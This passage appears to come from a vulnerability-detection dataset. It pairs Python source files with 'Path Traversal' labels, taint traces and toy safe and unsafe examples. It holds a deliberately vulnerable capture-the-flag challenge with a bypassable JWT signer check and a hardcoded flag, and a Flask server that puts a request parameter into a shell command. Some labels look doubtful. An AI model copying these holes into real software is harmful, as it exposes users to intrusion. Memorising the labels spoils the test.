slug):\n foirequest = get_object_or_404(FoiRequest, slug=slug)\n if not request.user.is_authenticated:\n return render_403(request)\n if not request.user.is_staff:\n return render_403(request)\n foirequest.checked = True\n foirequest.save()\n messages.add_message(request, messages.SUCCESS,\n _('Request marked as checked.'))\n return redirect(foirequest)\n\n\n@require_POST\ndef approve_attachment(request, slug, attachment):\n foirequest = get_object_or_404(FoiRequest, slug=slug)\n if not request.user.is_authenticated:\n return render_403(request)\n if not request.user.is_staff and foirequest.user != request.user:\n return render_403(request)\n att = get_object_or_404(FoiAttachment, id=int(attachment))\n if not att.can_approve and not request.user.is_staff:\n return render_403(request)\n att.approve_and_save()\n messages.add_message(request, messages.SUCCESS,\n _('Attachment approved.'))\n return redirect(att.get_anchor_url())\n\n\n@require_POST\ndef approve_message(request, slug, message):\n foirequest = get_object_or_404(FoiRequest, slug=slug)\n if not request.user.is_authenticated:\n return render_403(request)\n if not request.user.is_staff and foirequest.user != request.user:\n return render_403(request)\n mes = get_object_or_404(FoiMessage, id=int(message))\n mes.content_hidden = False\n mes.save()\n messages.add_message(request, messages.SUCCESS,\n _('Content published.'))\n return redirect(mes.get_absolute_url())\n\n\ndef list_unchecked(request):\n if not request.user.is_staff:\n return render_403(request)\n foirequests = FoiRequest.published.filter(checked=False).order_by('-id')[:30]\n attachments = FoiAttachment.objects.filter(is_redacted=False, redacted__isnull=True,\n approved=False, can_approve=True).order_by('-id')[:30]\n return render(request, 'foirequest/list_unchecked.html', {\n 'foirequests': foirequests,\n 'attachments': attachments\n })\n\n\n@require_POST\ndef make_same_request(request, slug, message_id):\n foirequest = get_object_or_404(FoiRequest, slug=slug)\n message = get_object_or_404(FoiMessage, id=int(message_id))\n if not message.not_publishable:\n return render_400(request)\n if not foirequest == message.request:\n return render_400(request)\n if foirequest.same_as is not None:\n foirequest = foirequest.same_as\n if not request.user.is_authenticated:\n new_user_form = NewUserForm(request.POST)\n if not new_user_form.is_valid():\n return show(request, slug, context={\"new_user_form\": new_user_form}, status=400)\n else:\n user, password = AccountManager.create_user(**new_user_form.cleaned_data)\n else:\n user = request.user\n if foirequest.user == user:\n return render_400(request)\n same_requests = FoiRequest.objects.filter(user=user, same_as=foirequest).count()\n if same_requests:\n messages.add_message(request, messages.ERROR,\n _(\"You already made an identical request\"))\n return render_400(request)\n\n throttle_message = check_throttle(request.user, FoiRequest)\n if throttle_message:\n messages.add_message(request, messages.ERROR, throttle_message)\n return render_400(request)\n\n body = u\"%s\\n\\n%s\" % (foirequest.description,\n _('Please see this request on %(site_name)s where you granted access to this information: %(url)s') % {\n 'url': foirequest.get_absolute_domain_short_url(),\n 'site_name': settings.SITE_NAME\n })\n\n kwargs = registry.run_hook('pre_request_creation', request,\n user=user,\n public_body=foirequest.public_body,\n foi_law=foirequest.law,\n form_data=dict(\n subject=foirequest.title,\n body=body,\n public=foirequest.public\n ) # Don't pass post_data, get default letter of law\n )\n fr = FoiRequest.from_request_form(**kwargs)\n fr.same_as = foirequest\n fr.save()\n if user.is_active:\n messages.add_message(request, messages.SUCCESS,\n _('You successfully requested this document! Your request is displayed below.'))\n return redirect(fr)\n else:\n AccountManager(user).send_confirmation_mail(request_id=fr.pk,\n password=password)\n messages.add_message(request, messages.INFO,\n _('Please check your inbox for mail from us to confirm your mail address.'))\n # user cannot access the request yet!\n return redirect(\"/\")\n\n\ndef auth_message_attachment(request, message_id, attachment_name):\n '''\n nginx auth view\n '''\n message = get_object_or_404(FoiMessage, id=int(message_id))\n attachment = get_object_or_404(FoiAttachment, belongs_to=message,\n name=attachment_name)\n foirequest = message.request\n pb_auth = request.session.get('pb_auth')\n\n if not foirequest.is_visible(request.user, pb_auth=pb_auth):\n return render_403(request)\n if not attachment.is_visible(request.user, foirequest):\n return render_403(request)\n\n response = HttpResponse()\n response['Content-Type'] = \"\"\n response['X-Accel-Redirect'] = X_ACCEL_REDIRECT_PREFIX + attachment.get_internal_url()\n\n return response\n\n\ndef redact_attachment(request, slug, attachment_id):\n foirequest = get_object_or_404(FoiRequest, slug=slug)\n if not request.user.is_staff and not request.user == foirequest.user:\n return render_403(request)\n attachment = get_object_or_404(FoiAttachment, pk=int(attachment_id),\n belongs_to__request=foirequest)\n if not attachment.can_approve and not request.user.is_staff:\n return render_403(request)\n already = None\n if attachment.redacted:\n already = attachment.redacted\n elif attachment.is_redacted:\n already = attachment\n\n if already is not None and not already.can_approve and not request.user.is_staff:\n return render_403(request)\n if request.method == 'POST':\n path = convert_to_pdf(request.POST)\n if path is None:\n return render_400(request)\n name = attachment.name.rsplit('.', 1)[0]\n name = re.sub('[^\\w\\.\\-]', '', name)\n pdf_file = File(open(path, 'rb'))\n if already:\n att = already\n else:\n att = FoiAttachment(\n belongs_to=attachment.belongs_to,\n name=_('%s_redacted.pdf') % name,\n is_redacted=True,\n filetype='application/pdf',\n approved=True,\n can_approve=True\n )\n att.file = pdf_file\n att.size = pdf_file.size\n att.approve_and_save()\n if not attachment.is_redacted:\n attachment.redacted = att\n attachment.can_approve = False\n attachment.approved = False\n attachment.save()\n return redirect(att.get_anchor_url())\n return render(request, 'foirequest/redact.html', {\n 'foirequest': foirequest,\n 'attachment': attachment\n })\n\n\n@require_POST\ndef extend_deadline(request, slug):\n foirequest = get_object_or_404(FoiRequest, slug=slug)\n if not request.user.is_authenticated:\n return render_403(request)\n if not request.user.is_staff:\n return render_403(request)\n try:\n months = int(request.POST.get('months', 6))\n except ValueError:\n messages.add_message(request, messages.ERROR,\n _('Invalid input!'))\n return render_400(request)\n foirequest.due_date = foirequest.law.calculate_due_date(foirequest.due_date, months)\n if foirequest.due_date > timezone.now() and foirequest.status == 'overdue':\n foirequest.status = 'awaiting_response'\n foirequest.save()\n messages.add_message(request, messages.INFO,\n _('Deadline has been extended.'))\n FoiEvent.objects.create_event('deadline_extended', foirequest)\n return redirect(foirequest)\n\n\n@require_POST\ndef resend_message(request, slug):\n foirequest = get_object_or_404(FoiRequest, slug=slug)\n if not request.user.is_authenticated:\n return render_403(request)\n if not request.user.is_staff:\n return render_403(request)\n try:\n mes = FoiMessage.objects.get(sent=False, request=foirequest, pk=int(request.POST.get('message', 0)))\n except (FoiMessage.DoesNotExist, ValueError):\n messages.add_message(request, messages.ERROR,\n _('Invalid input!'))\n return render_400(request)\n mes.send(notify=False)\n return redirect('admin:foirequest_foimessage_change', mes.id)\n\n\n@require_POST\n@csrf_exempt\ndef postmark_inbound(request, bounce=False):\n process_mail.delay(request.body, mail_type='postmark')\n return HttpResponse()\n\n\n@require_POST\n@csrf_exempt\ndef postmark_bounce(request):\n return postmark_inbound(request, bounce=True)\n\n\ndef download_foirequest(request, slug):\n foirequest = get_object_or_404(FoiRequest, slug=slug)\n if not request.user.is_staff and not request.user == foirequest.user:\n return render_403(request)\n response = HttpResponse(package_foirequest(foirequest), content_type='application/zip')\n response['Content-Disposition'] = 'attachment; filename=\"%s.zip\"' % foirequest.pk\n return response\n\n\nSITEMAP_PROTOCOL = 'https' if settings.SITE_URL.startswith('https') else 'http'\n\n\nclass FoiRequestSitemap(Sitemap):\n protocol = SITEMAP_PROTOCOL\n changefreq = \"hourly\"\n priority = 0.5\n\n def items(self):\n return FoiRequest.published.all()\n\n def lastmod(self, obj):\n return obj.last_message", "dangerousExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. file = os.open(name)\nLine 5: Insecure request.GET['name'] is used as a path to access a file.", "safeExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. if not \"..\" in name and name.startswith(white_path):\n6. file = os.open(name)\nLine 5: Do not use an insecure value as a path to access; use a filtered value only.", "contexts": [{"lineNo": 1037, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "1037"}}, {"lineNo": 1038, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 1038, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestrequest.POST"}}, {"lineNo": 1038, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "convert_to_pdf"}}, {"lineNo": 1038, "eventType": "source", "messageKey": "synz.COMMON.value.returned.from", "params": {"arg0": "convert_to_pdf"}}, {"lineNo": 1038, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 1043, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "open"}}]}} {"id": "9f55b471e0d2d725a89e778f09d202ce2f4e6e698455e7641c5bfabf55eee726", "license": {"spdx": ["Apache-2.0"], "repo": "mkosmo/cfncluster", "path": "tests/integration-tests/benchmarks/common/metrics_reporter.py", "repo_head_hexsha": "f1817cc187f2b92127d48f16debb4b7ea4f4a80f", "stack_hexsha": "f7d01a2599cdf81bcc1a07ef9e2057cae24af5fd", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Path Traversal", "issueDescriptionEn": "The Path Manipulation checker finds instances in which an unvalidated external input creates a path accessible to the file system.\nIf unvalidated external inputs are allowed to be used for access to files, servers, or other system resources, attackers can manipulate inputs to access an unintended path in the program. In other words, path manipulation can be used to obtain illegitimate access to modify or execute settings files.\nIf external inputs are used as identifiers for resources (such as files), make sure they pass appropriate validation. Especially, if external inputs are filenames, use a filter to remove characters such as `, /, \\, and .. that can be exploited for a directory traversal attack.", "issueLineNumber": 176, "entireCode": "# Copyright 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\").\n# You may not use this file except in compliance with the License.\n# A copy of the License is located at\n#\n# http://aws.amazon.com/apache2.0/\n#\n# or in the \"LICENSE.txt\" file accompanying this file.\n# This file is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, express or implied.\n# See the License for the specific language governing permissions and limitations under the License.\nimport datetime\nimport logging\nimport os\nfrom time import sleep\n\nimport boto3\nfrom retrying import RetryError, retry\n\nfrom time_utils import seconds\n\nMETRIC_WIDGET_TEMPLATE = \"\"\"\n {{\n \"metrics\": [\n [ \"ParallelCluster/benchmarking/{cluster_name}\", \"ComputeNodesCount\", {{ \"stat\": \"Maximum\", \"label\": \\\n\"ComputeNodesCount Max\" }} ],\n [ \"...\", {{ \"stat\": \"Minimum\", \"label\": \"ComputeNodesCount Min\" }} ],\n [ \"AWS/AutoScaling\", \"GroupDesiredCapacity\", \"AutoScalingGroupName\", \"{asg_name}\", {{ \"stat\": \"Maximum\", \\\n\"label\": \"GroupDesiredCapacity\" }} ],\n [ \".\", \"GroupInServiceInstances\", \".\", \".\", {{ \"stat\": \"Maximum\", \"label\": \"GroupInServiceInstances\" }} ]\n ],\n \"view\": \"timeSeries\",\n \"stacked\": false,\n \"stat\": \"Maximum\",\n \"period\": 1,\n \"title\": \"{title}\",\n \"width\": 1400,\n \"height\": 700,\n \"start\": \"{graph_start_time}\",\n \"end\": \"{graph_end_time}\",\n \"annotations\": {{\n \"horizontal\": [\n {{\n \"label\": \"Scaling Target\",\n \"value\": {scaling_target}\n }}\n ],\n \"vertical\": [\n {{\n \"label\": \"Start Time\",\n \"value\": \"{start_time}\"\n }},\n {{\n \"label\": \"End Time\",\n \"value\": \"{end_time}\"\n }}\n ]\n }},\n \"yAxis\": {{\n \"left\": {{\n \"showUnits\": false,\n \"label\": \"Count\"\n }},\n \"right\": {{\n \"showUnits\": true\n }}\n }}\n }}\"\"\"\n\n\ndef publish_compute_nodes_metric(scheduler_commands, max_monitoring_time, region, cluster_name):\n logging.info(\"Monitoring scheduler status and publishing metrics\")\n cw_client = boto3.client(\"cloudwatch\", region_name=region)\n compute_nodes_time_series = [0]\n timestamps = [datetime.datetime.utcnow()]\n\n @retry(\n retry_on_result=lambda _: len(compute_nodes_time_series) == 1 or compute_nodes_time_series[-1] != 0,\n wait_fixed=seconds(20),\n stop_max_delay=max_monitoring_time,\n )\n def _watch_compute_nodes_allocation():\n try:\n compute_nodes = scheduler_commands.compute_nodes_count()\n logging.info(\"Publishing metric: count={0}\".format(compute_nodes))\n cw_client.put_metric_data(\n Namespace=\"ParallelCluster/benchmarking/{cluster_name}\".format(cluster_name=cluster_name),\n MetricData=[{\"MetricName\": \"ComputeNodesCount\", \"Value\": compute_nodes, \"Unit\": \"Count\"}],\n )\n # add values only if there is a transition.\n if compute_nodes_time_series[-1] != compute_nodes:\n compute_nodes_time_series.append(compute_nodes)\n timestamps.append(datetime.datetime.utcnow())\n except Exception as e:\n logging.warning(\"Failed while watching nodes allocation with exception: %s\", e)\n raise\n\n try:\n _watch_compute_nodes_allocation()\n except RetryError:\n # ignoring this error in order to perform assertions on the collected data.\n pass\n\n end_time = datetime.datetime.utcnow()\n logging.info(\n \"Monitoring completed: compute_nodes_time_series [ %s ], timestamps [ %s ]\",\n \" \".join(map(str, compute_nodes_time_series)),\n \" \".join(map(str, timestamps)),\n )\n logging.info(\"Sleeping for 3 minutes to wait for the metrics to propagate...\")\n sleep(180)\n\n return compute_nodes_time_series, timestamps, end_time\n\n\ndef enable_asg_metrics(region, cluster):\n logging.info(\"Enabling ASG metrics for %s\", cluster.asg)\n boto3.client(\"autoscaling\", region_name=region).enable_metrics_collection(\n AutoScalingGroupName=cluster.asg,\n Metrics=[\"GroupDesiredCapacity\", \"GroupInServiceInstances\", \"GroupTerminatingInstances\"],\n Granularity=\"1Minute\",\n )\n\n\ndef _publish_metric(region, instance, os, scheduler, state, count):\n cw_client = boto3.client(\"cloudwatch\", region_name=region)\n logging.info(\"Publishing metric: state={0} count={1}\".format(state, count))\n cw_client.put_metric_data(\n Namespace=\"parallelcluster/benchmarking/test_scaling_speed/{region}/{instance}/{os}/{scheduler}\".format(\n region=region, instance=instance, os=os, scheduler=scheduler\n ),\n MetricData=[\n {\n \"MetricName\": \"ComputeNodesCount\",\n \"Dimensions\": [{\"Name\": \"state\", \"Value\": state}],\n \"Value\": count,\n \"Unit\": \"Count\",\n }\n ],\n )\n\n\ndef produce_benchmark_metrics_report(\n benchmark_params, region, cluster_name, asg_name, start_time, end_time, scaling_target, request\n):\n title = \", \".join(\"{0}={1}\".format(key, val) for (key, val) in benchmark_params.items())\n graph_start_time = _to_datetime(start_time) - datetime.timedelta(minutes=2)\n graph_end_time = _to_datetime(end_time) + datetime.timedelta(minutes=2)\n scaling_target = scaling_target\n widget_metric = METRIC_WIDGET_TEMPLATE.format(\n cluster_name=cluster_name,\n asg_name=asg_name,\n start_time=start_time,\n end_time=end_time,\n title=title,\n graph_start_time=graph_start_time,\n graph_end_time=graph_end_time,\n scaling_target=scaling_target,\n )\n logging.info(widget_metric)\n cw_client = boto3.client(\"cloudwatch\", region_name=region)\n response = cw_client.get_metric_widget_image(MetricWidget=widget_metric)\n _write_results_to_outdir(request, response[\"MetricWidgetImage\"])\n\n\ndef _to_datetime(timestamp):\n return datetime.datetime.strptime(timestamp, \"%Y-%m-%dT%H:%M:%S.%f%z\")\n\n\ndef _write_results_to_outdir(request, image_bytes):\n out_dir = request.config.getoption(\"output_dir\")\n os.makedirs(\"{out_dir}/benchmarks\".format(out_dir=out_dir), exist_ok=True)\n graph_dst = \"{out_dir}/benchmarks/{test_name}.png\".format(\n out_dir=out_dir, test_name=request.node.nodeid.replace(\"::\", \"-\")\n )\n with open(graph_dst, \"wb\") as image:\n image.write(image_bytes)", "dangerousExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. file = os.open(name)\nLine 5: Insecure request.GET['name'] is used as a path to access a file.", "safeExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. if not \"..\" in name and name.startswith(white_path):\n6. file = os.open(name)\nLine 5: Do not use an insecure value as a path to access; use a filtered value only.", "contexts": [{"lineNo": 174, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 174, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestrequest.node"}}, {"lineNo": 174, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestrequest.node.nodeid"}}, {"lineNo": 174, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "replace"}}, {"lineNo": 176, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "open"}}]}} {"id": "cf47612ba091a6b59a2cb0bfcdf3f751acba3783e8d47c97d3c87ee4ccf21478", "license": {"spdx": ["MIT"], "repo": "HackUCF/SunshineCTF-2019-Public", "path": "Web/EnterthePolygon/exif/front/views.py", "repo_head_hexsha": "a6311eca2e4c1f1878bd41f65ba886c067cf9e6b", "stack_hexsha": "db2a0594d2faa0feef0b5ff755be2fd5727c7a21", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Path Traversal", "issueDescriptionEn": "The Path Manipulation checker finds instances in which an unvalidated external input creates a path accessible to the file system.\nIf unvalidated external inputs are allowed to be used for access to files, servers, or other system resources, attackers can manipulate inputs to access an unintended path in the program. In other words, path manipulation can be used to obtain illegitimate access to modify or execute settings files.\nIf external inputs are used as identifiers for resources (such as files), make sure they pass appropriate validation. Especially, if external inputs are filenames, use a filter to remove characters such as `, /, \\, and .. that can be exploited for a directory traversal attack.", "issueLineNumber": 80, "entireCode": "from django.shortcuts import render, redirect\nfrom django.http import HttpResponse\nfrom .forms import UploadFileForm\nfrom django.http import HttpResponseRedirect\nfrom django.views.decorators.csrf import csrf_exempt\nimport exifread\nimport uuid\nfrom .models import images\nfrom exif.settings import MEDIA_ROOT, APPROVED_SIGNER\n\nimport jwt\nimport json\nfrom requests import get as req_get\nfrom base64 import b64encode, b64decode\n\nfrom django.contrib.auth.decorators import login_required, user_passes_test\n\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib.auth import login, authenticate\nfrom django.contrib.auth import logout\n\n# checks to see if it is the bot - returns false if bot\ndef is_victim(user):\n if user.id == 1:\n return True\n return False\n\ndef notvictim(user):\n return not(is_victim(user))\n\n\ndef register(request):\n if request.method == 'POST':\n form = UserCreationForm(request.POST)\n if form.is_valid():\n form.save()\n username = form.cleaned_data.get('username')\n raw_password = form.cleaned_data.get('')\n # need to get this to auth and redirect\n #user = authenticate(username=username, password=)\n #login(user)\n return redirect('index')\n else:\n form = UserCreationForm()\n return render(request, 'registration/register.html', {'form': form})\n\n@login_required\ndef signout(request):\n logout(request)\n return redirect(\"/\")\n\n# Create your views here.\ndef index(request):\n return render(request, 'index.html')\n\n@login_required\ndef upload(request):\n if request.method == 'POST':\n form = UploadFileForm(request.POST, request.FILES)\n if form.is_valid():\n upload = form.save(commit=False)\n upload.user = request.user\n upload.filename = request.FILES.get(\"ifile\")._get_name()\n upload.save()\n return redirect('/exif/{0}'.format(upload.get_upldName()))\n else:\n form = UploadFileForm()\n return render(request, 'upload.html', {'form': form})\n\n@login_required\ndef imageView(request, **kwargs):\n form = None\n tags = \"Looks like you made a mistake\"\n filename = \"\"\n filename = kwargs.get('filename')\n try:\n # if user_id was not provided get logged in user\n user = request.user.id\n obj = images.objects.get(user=user, ifile__endswith=filename)\n with open(obj.ifile.path, 'rb') as f:\n tags = exifread.process_file(f, details=False)\n if not tags:\n tags = {\"\":\"There is no exif data\"}\n except Exception as e:\n print(e)\n # send url to document_view function with filename\n filepath = 'media/'+filename\n return render(request, 'image.html', {'tags' : tags, 'filepath':filepath, 'filenm':obj.filename})\n\n# media/filename endpoint. Redirects to nginx served files.\n@login_required\ndef document_view(request, filename):\n user = request.user\n document = images.objects.get(user=user, ifile__endswith=filename)\n response = HttpResponse()\n response[\"Content-Disposition\"] = \"inline\"\n response[\"Content-Type\"] = \"image/jpeg\"\n response['X-Accel-Redirect'] = \"/protected/user-{0}/{1}\".format(str(user.id),document.get_upldName())\n return response\n\n\n@user_passes_test(is_victim)\ndef vic_imageView(request, **kwargs):\n form = None\n userid= kwargs.get('userid')\n filename = kwargs.get('filename')\n try:\n # if user_id was not provided get logged in user\n obj = images.objects.get(user=userid, ifile__endswith=filename)\n with open(obj.ifile.path, 'rb') as f:\n tags = exifread.process_file(f, details=False)\n if not tags:\n tags = {\"\":\"There is no exif data\"}\n except Exception as e:\n print(e)\n # send url to document_view function with filename\n filepath = 'bot/media/{0}/{1}'.format(userid, filename)\n return render(request, 'image.html', {'tags' : tags, 'filepath':filepath, 'filenm':obj.filename})\n\n@user_passes_test(is_victim)\ndef vic_document_view(request, **kwargs):\n userid = kwargs.get('userid')\n filename = kwargs.get('filename')\n document = images.objects.get(user=userid, ifile__endswith=filename)\n response = HttpResponse()\n response[\"Content-Disposition\"] = \"inline\"\n response[\"Content-Type\"] = \"image/jpeg\"\n response['X-Accel-Redirect'] = \"/protected/user-{0}/{1}\".format(str(userid),document.get_upldName())\n return response\n\n\n\ndef validateToken(request, template, flag):\n token = request.COOKIES.get('jwtsess')\n\n if token:\n # check if token is valid (if not state invalid token)\n try:\n split = token.split('.')[1]\n split = b64decode(split + '=' * (4 - len(split) % 4))\n unverfied_values = json.loads(split) # jwt is headers.keys.signature - have to fix padding\n sign_host = unverfied_values.get('sig')\n decoded = {}\n if any(approved_host in sign_host for approved_host in APPROVED_SIGNER): # this is easily bypassed to a remote host by including the string anywhere in the url.\n secret = b64encode(req_get(sign_host, timeout=1).content)\n decoded = jwt.decode(token, secret)\n except Exception as e:\n print(e)\n return render(request, template, {'output': e})\n\n # cant be bothered to implement this legit so hardcoded cases\n try:\n if decoded.get('user') == 'therock':\n if decoded.get('role') == 'admin':\n return render(request, template, {'output': flag})\n except:\n return render(request, template, {'output': \"Not valid user/role\"})\n\n return render(request, template, {'output': \"Not Logged In\"})\n\n\ndef admin(request, **kwargs):\n # check if token could exist (if not say not authed)\n return validateToken(request, 'adminFlag.html', 'SUN{Can_Y0U_smell_JWT?}')\n\n@login_required\ndef profile(request, **kwargs):\n uploads = images.objects.filter(user=request.user)\n\n return render(request, 'profile.html', {'uploads': uploads})", "dangerousExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. file = os.open(name)\nLine 5: Insecure request.GET['name'] is used as a path to access a file.", "safeExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. if not \"..\" in name and name.startswith(white_path):\n6. file = os.open(name)\nLine 5: Do not use an insecure value as a path to access; use a filtered value only.", "contexts": [{"lineNo": 78, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 78, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestrequest.user"}}, {"lineNo": 78, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestrequest.user.id"}}, {"lineNo": 79, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 79, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 80, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "objimageView.obj.ifile"}}, {"lineNo": 80, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "objimageView.obj.ifile.path"}}, {"lineNo": 80, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "open"}}]}} {"id": "de877d312b97223d2c5d0dba76933c46eec6bae43defbf3042c4675896dbf8df", "license": {"spdx": ["Apache-2.0"], "repo": "CreatorZZY/LineAndArrow", "path": "src/server.py", "repo_head_hexsha": "d0debcbbd040f7da51b7158229d366ad2b8a81da", "stack_hexsha": "36825ee704bf6c909da74414a10282a4da28307e", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Path Traversal", "issueDescriptionEn": "The Path Manipulation checker finds instances in which an unvalidated external input creates a path accessible to the file system.\nIf unvalidated external inputs are allowed to be used for access to files, servers, or other system resources, attackers can manipulate inputs to access an unintended path in the program. In other words, path manipulation can be used to obtain illegitimate access to modify or execute settings files.\nIf external inputs are used as identifiers for resources (such as files), make sure they pass appropriate validation. Especially, if external inputs are filenames, use a filter to remove characters such as `, /, \\, and .. that can be exploited for a directory traversal attack.", "issueLineNumber": 60, "entireCode": "'''\n@Author: \n@Date: 2020-03-20 15:54:19\nLastEditors: \nLastEditTime: 2021-05-04 19:31:24\n@Description:\n@Email: \n@Company: SZU\n@Version: 1.0\n'''\nfrom flask import abort, jsonify, Flask, request, Response\nfrom flask import make_response, send_from_directory\nimport datetime\nfrom flask_cors import CORS\nimport hashlib\nimport os\nimport sys\nimport time\nimport base64\nimport subprocess\n\nimport argparse\n\nPort = 8080\npath_to_exe = \"\"\n\nif os.path.exists(\"./out/\") == False:\n os.mkdir(\"./out/\")\nif os.path.exists(\"./out/img/\") == False:\n os.mkdir(\"./out/img/\")\nif os.path.exists(\"./tmp/\") == False:\n os.mkdir(\"./tmp/\")\n\napp = Flask(__name__)\nCORS(app, resources=r'/*')\n\nlibpath = os.path.join(os.path.abspath('.'), 'lib')\n\n\n@app.route(\"/\")\ndef index_page():\n return send_from_directory(libpath, 'index.html', as_attachment=False)\n\n\n@app.route(\"/\")\ndef index_page_file(filename):\n if filename == 'favicon.ico':\n filename = 'assets/' + filename\n return send_from_directory(libpath, filename, as_attachment=False)\n\n\n@app.route('/LineAndArrow')\ndef LindAndArrow():\n try:\n data = base64.b64decode(request.args['Data']).decode(\"utf-8\")\n if not data:\n return data\n t = hashlib.sha256((data + str(time.time() * 1000000)).encode('utf-8'))\n filename = t.hexdigest()\n with open(\"./tmp/{}.data\".format(filename), \"w+\", encoding='UTF-8') as f:\n f.write(data)\n cmdstdout = subprocess.Popen(\n f\"{path_to_exe} --datapath ./ --tmppath ./ -i ./tmp/{filename}.data -o ./out/img/{filename} -w {request.args['width']} -f { '30' if int(request.args['width']) > 30 else '20'}\", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n cstderr = cmdstdout.communicate()[1].decode('UTF-8')\n cmdstdout.wait()\n svgdata = str()\n pngdata = str()\n with open(\"./out/img/{}.svg\".format(filename)) as f:\n svgdata = f.read()\n with open(\"./out/img/{}.png\".format(filename), 'rb') as f:\n pngdata = f.read()\n\n with open(\"./out/img/{}.pdf\".format(filename), 'rb') as f:\n pdfdata = f.read()\n\n os.remove(\"./out/img/{}.svg\".format(filename))\n os.remove(\"./out/img/{}.pdf\".format(filename))\n os.remove(\"./out/img/{}.png\".format(filename))\n os.remove(\"./tmp/{}.data\".format(filename))\n if request.args['D'] == '1':\n resp = make_response(svgdata)\n resp.headers[\"Content-Disposition\"] = \"attachment; filename={}.svg\".format(\n filename)\n return resp\n if request.args['D'] == '2':\n resp = make_response(pdfdata)\n resp.headers[\"Content-Disposition\"] = \"attachment; filename={}.pdf\".format(\n filename)\n return resp\n else:\n return \"\".format(base64.b64encode(pngdata).decode('utf-8'))\n except BaseException as e:\n print(e)\n return \"

Sorry, Error. May Check Your Input.

Serverd Error Code

\" + str(e) + \"

Cored Program Return

\" + cstderr + \"

\"\n\n\ndef cors_response(res):\n response = make_response(jsonify(res))\n response.headers['Access-Control-Allow-Origin'] = '*'\n response.headers['Access-Control-Allow-Methods'] = 'PUT,GET,POST,DELETE,OPTIONS'\n response.headers['Access-Control-Allow-Headers'] = 'Content-Type, X-Requested-With'\n return response\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('-e', type=str, help='Path to LineAndArrow.')\n parser.add_argument('--port', type=int, help='Port', default=Port)\n args = parser.parse_args()\n path_to_exe = args.e\n Port = args.port\n app.config['JSON_AS_ASCII'] = False\n app.run(host='0.0.0.0', port=Port, debug=False)", "dangerousExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. file = os.open(name)\nLine 5: Insecure request.GET['name'] is used as a path to access a file.", "safeExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. if not \"..\" in name and name.startswith(white_path):\n6. file = os.open(name)\nLine 5: Do not use an insecure value as a path to access; use a filtered value only.", "contexts": [{"lineNo": 55, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 55, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.args"}}, {"lineNo": 55, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.args[\"Data\"]"}}, {"lineNo": 55, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "base64.b64decode"}}, {"lineNo": 55, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "decode"}}, {"lineNo": 58, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "encode"}}, {"lineNo": 58, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "hashlib.sha256"}}, {"lineNo": 59, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "hexdigest"}}, {"lineNo": 60, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "format"}}, {"lineNo": 60, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "open"}}]}} {"id": "fb2ad25c6308e51723da0f64de11a48dfaa98f1eab17e7df69b317fd7cacf284", "license": {"spdx": ["BSD-3-Clause"], "repo": "linkgeek/python_flask_cms", "path": "web/controllers/home/tools/gii/index.py", "repo_head_hexsha": "ff5e794b5b11075670e5d11a8cbda0a137319876", "stack_hexsha": "1a0b9167a3a543aaa0f43eace8431db5ba135ff9", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Path Traversal", 